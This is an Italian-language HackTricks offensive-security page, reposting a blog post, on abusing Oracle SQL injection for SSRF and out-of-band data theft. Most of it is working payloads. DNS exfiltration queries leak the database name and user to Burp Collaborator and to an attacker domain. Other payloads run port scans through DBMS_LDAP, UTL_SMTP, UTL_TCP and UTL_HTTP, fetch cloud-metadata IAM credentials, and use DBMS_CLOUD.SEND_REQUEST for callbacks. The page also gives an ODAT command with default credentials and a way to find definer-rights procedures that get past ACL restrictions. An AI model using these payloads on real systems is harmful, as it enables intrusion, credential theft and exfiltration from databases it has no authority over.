Oracle injection
Reading time: 10 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Servire questo post una copia della macchina del tempo del post eliminato da https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Utilizzare Oracle per effettuare richieste HTTP e DNS Out of Band è ben documentato, ma come mezzo per esfiltrare dati SQL nelle iniezioni. Possiamo sempre modificare queste tecniche/funzioni per fare altre SSRF/XSPA.
Installare Oracle può essere davvero doloroso, specialmente se si desidera impostare un'istanza rapida per provare comandi. Il mio amico e collega di Appsecco, Abhisek Datta, mi ha indicato https://github.com/MaksymBilenko/docker-oracle-12c che mi ha permesso di configurare un'istanza su una macchina AWS Ubuntu t2.large e Docker.
Ho eseguito il comando docker con il flag --network="host"
in modo da poter imitare Oracle come un'installazione nativa con accesso completo alla rete, per il corso di questo blogpost.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Pacchetti Oracle che supportano una specifica di URL o di Nome Host/Numero di Porta
Per trovare eventuali pacchetti e funzioni che supportano una specifica di host e porta, ho eseguito una ricerca su Google nella Documentazione Online di Oracle Database. In particolare,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
La ricerca ha restituito i seguenti risultati (non tutti possono essere utilizzati per eseguire richieste di rete in uscita)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Questa ricerca grossolana ovviamente salta pacchetti come DBMS_LDAP
(che consente di passare un nome host e un numero di porta) poiché la pagina di documentazione ti indirizza semplicemente a un'altra posizione. Pertanto, potrebbero esserci altri pacchetti Oracle che possono essere sfruttati per effettuare richieste in uscita che potrei aver trascurato.
In ogni caso, diamo un'occhiata ad alcuni dei pacchetti che abbiamo scoperto e elencato sopra.
DBMS_LDAP.INIT
Il pacchetto DBMS_LDAP
consente l'accesso ai dati dai server LDAP. La funzione init()
inizializza una sessione con un server LDAP e prende un nome host e un numero di porta come argomento.
Questa funzione è stata documentata in precedenza per mostrare l'exfiltrazione di dati tramite DNS, come di seguito
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Tuttavia, dato che la funzione accetta un nome host e un numero di porta come argomenti, puoi utilizzare questo per funzionare anche come uno scanner di porte.
Ecco alcuni esempi
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
Un ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
indica che la porta è chiusa mentre un valore di sessione indica che la porta è aperta.
UTL_SMTP
Il pacchetto UTL_SMTP
è progettato per inviare e-mail tramite SMTP. L'esempio fornito sul sito di documentazione Oracle mostra come puoi utilizzare questo pacchetto per inviare un'email. Per noi, tuttavia, la cosa interessante è la possibilità di fornire una specifica di host e porta.
Un esempio rudimentale è mostrato di seguito con la funzione UTL_SMTP.OPEN_CONNECTION
, con un timeout di 2 secondi.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
Un ORA-29276: transfer timeout
indica che la porta è aperta ma non è stata stabilita alcuna connessione SMTP, mentre un ORA-29278: SMTP transient error: 421 Service not available
indica che la porta è chiusa.
UTL_TCP
Il pacchetto UTL_TCP
e le sue procedure e funzioni consentono comunicazioni basate su TCP/IP con i servizi. Se programmato per un servizio specifico, questo pacchetto può facilmente diventare un modo per accedere alla rete o eseguire richieste complete lato server, poiché tutti gli aspetti di una connessione TCP/IP possono essere controllati.
L'esempio sul sito della documentazione Oracle mostra come puoi utilizzare questo pacchetto per stabilire una connessione TCP raw per recuperare una pagina web. Possiamo semplificarlo ulteriormente e usarlo per effettuare richieste all'istanza dei metadati, ad esempio, o a un servizio TCP/IP arbitrario.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Interessantemente, grazie alla capacità di creare richieste TCP raw, questo pacchetto può essere utilizzato anche per interrogare il servizio di meta-dati dell'istanza di tutti i fornitori di cloud poiché il tipo di metodo e le intestazioni aggiuntive possono essere tutte passate all'interno della richiesta TCP.
UTL_HTTP e Richieste Web
Forse la tecnica più comune e ampiamente documentata in ogni tutorial di Out of Band Oracle SQL Injection è il UTL_HTTP
package. Questo pacchetto è definito dalla documentazione come - Il pacchetto UTL_HTTP effettua chiamate Hypertext Transfer Protocol (HTTP) da SQL e PL/SQL. Puoi usarlo per accedere ai dati su Internet tramite HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Puoi inoltre utilizzare questo per eseguire alcune scansioni di porte rudimentali con query come
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
Un ORA-12541: TNS:no listener
o un TNS:operation timed out
è un segno che la porta TCP è chiusa, mentre un ORA-29263: HTTP protocol error
o dati sono un segno che la porta è aperta.
Un altro pacchetto che ho utilizzato in passato con successo variabile è il GETCLOB()
method of the HTTPURITYPE
Oracle abstract type che consente di interagire con un URL e fornisce supporto per il protocollo HTTP. Il metodo GETCLOB()
viene utilizzato per recuperare la risposta GET da un URL come un CLOB data type.
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
Pacchetti e Tecniche Aggiuntive (Oracle 19c → 23c)
UTL_INADDR – esfiltrazione basata su DNS e scoperta di host
UTL_INADDR
espone semplici helper per la risoluzione dei nomi che attivano una ricerca DNS in uscita dall'host del database. Poiché è richiesto solo un dominio (non è necessario alcun porto/ACL), è un primitivo affidabile per l'esfiltrazione cieca quando altre chiamate di rete sono bloccate.
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
get_host_address()
restituisce l'IP risolto (o solleva ORA-29257
se la risoluzione fallisce). L'attaccante deve solo monitorare la richiesta DNS in arrivo sul dominio controllato per confermare l'esecuzione del codice.
DBMS_CLOUD.SEND_REQUEST – client HTTP completo su Autonomous/23c
Le recenti edizioni centrate sul cloud (Autonomous Database, 21c/23c, 23ai) vengono fornite con DBMS_CLOUD
. La funzione SEND_REQUEST
funge da client HTTP di uso generale che supporta verbi, intestazioni, TLS e corpi di grandi dimensioni personalizzati, rendendola molto più potente rispetto al classico UTL_HTTP
.
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
Perché SEND_REQUEST
consente URI di destinazione arbitrari, può essere abusato tramite SQLi per:
- Scansione delle porte interne / SSRF ai servizi di metadati cloud.
- Esfiltrazione out-of-band su HTTPS (usa Burp Collaborator o un tunnel
ngrok
). - Callback ai server dell'attaccante anche quando i pacchetti di chiamata più vecchi sono disabilitati dalle ACL.
ℹ️ Se hai solo un classico on-prem 19c ma puoi creare procedure memorizzate Java, a volte puoi installare DBMS_CLOUD
dal pacchetto client OCI — utile in alcuni incarichi.
Automatizzare la superficie di attacco con ODAT
ODAT – Oracle Database Attacking Tool ha tenuto il passo con le versioni moderne (testato fino a 19c, 5.1.1 – Apr-2022). I moduli –utl_http
, –utl_tcp
, –httpuritype
e il più recente –dbms_cloud
automaticamente:
- Rilevano pacchetti di chiamata/assegnazioni ACL utilizzabili.
- Attivano callback DNS & HTTP per estrazione cieca.
- Generano payload SQL pronti da copiare per Burp/SQLMap.
Esempio: controllo OOB rapido con credenziali predefinite (si occupa dell'enumerazione delle ACL in background):
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
Recent network ACL restrictions & bypasses
Oracle ha inasprito le ACL di rete predefinite nel CPU di luglio 2023 — gli account non privilegiati ora ricevono ORA-24247: network access denied by access control list
per impostazione predefinita. Due schemi consentono ancora le chiamate tramite SQLi:
- L'account target possiede un'entrata ACL (
DBMS_NETWORK_ACL_ADMIN.create_acl
) che è stata aggiunta da uno sviluppatore per integrazioni. - L'attaccante sfrutta una routine con diritti di definizione PL/SQL ad alta privilegio (ad es. in un'applicazione personalizzata) che ha già
AUTHID DEFINER
e le autorizzazioni necessarie.
Se incontri ORA-24247
durante lo sfruttamento, cerca sempre procedure riutilizzabili:
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
(in molte audit almeno una procedura di reporting/esportazione aveva i diritti necessari).
Riferimenti
- Oracle Docs – descrizione e esempi del pacchetto
DBMS_CLOUD.SEND_REQUEST
. - quentinhardy/odat – Strumento di attacco per Oracle Database (ultima versione 5.1.1, Apr-2022).
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.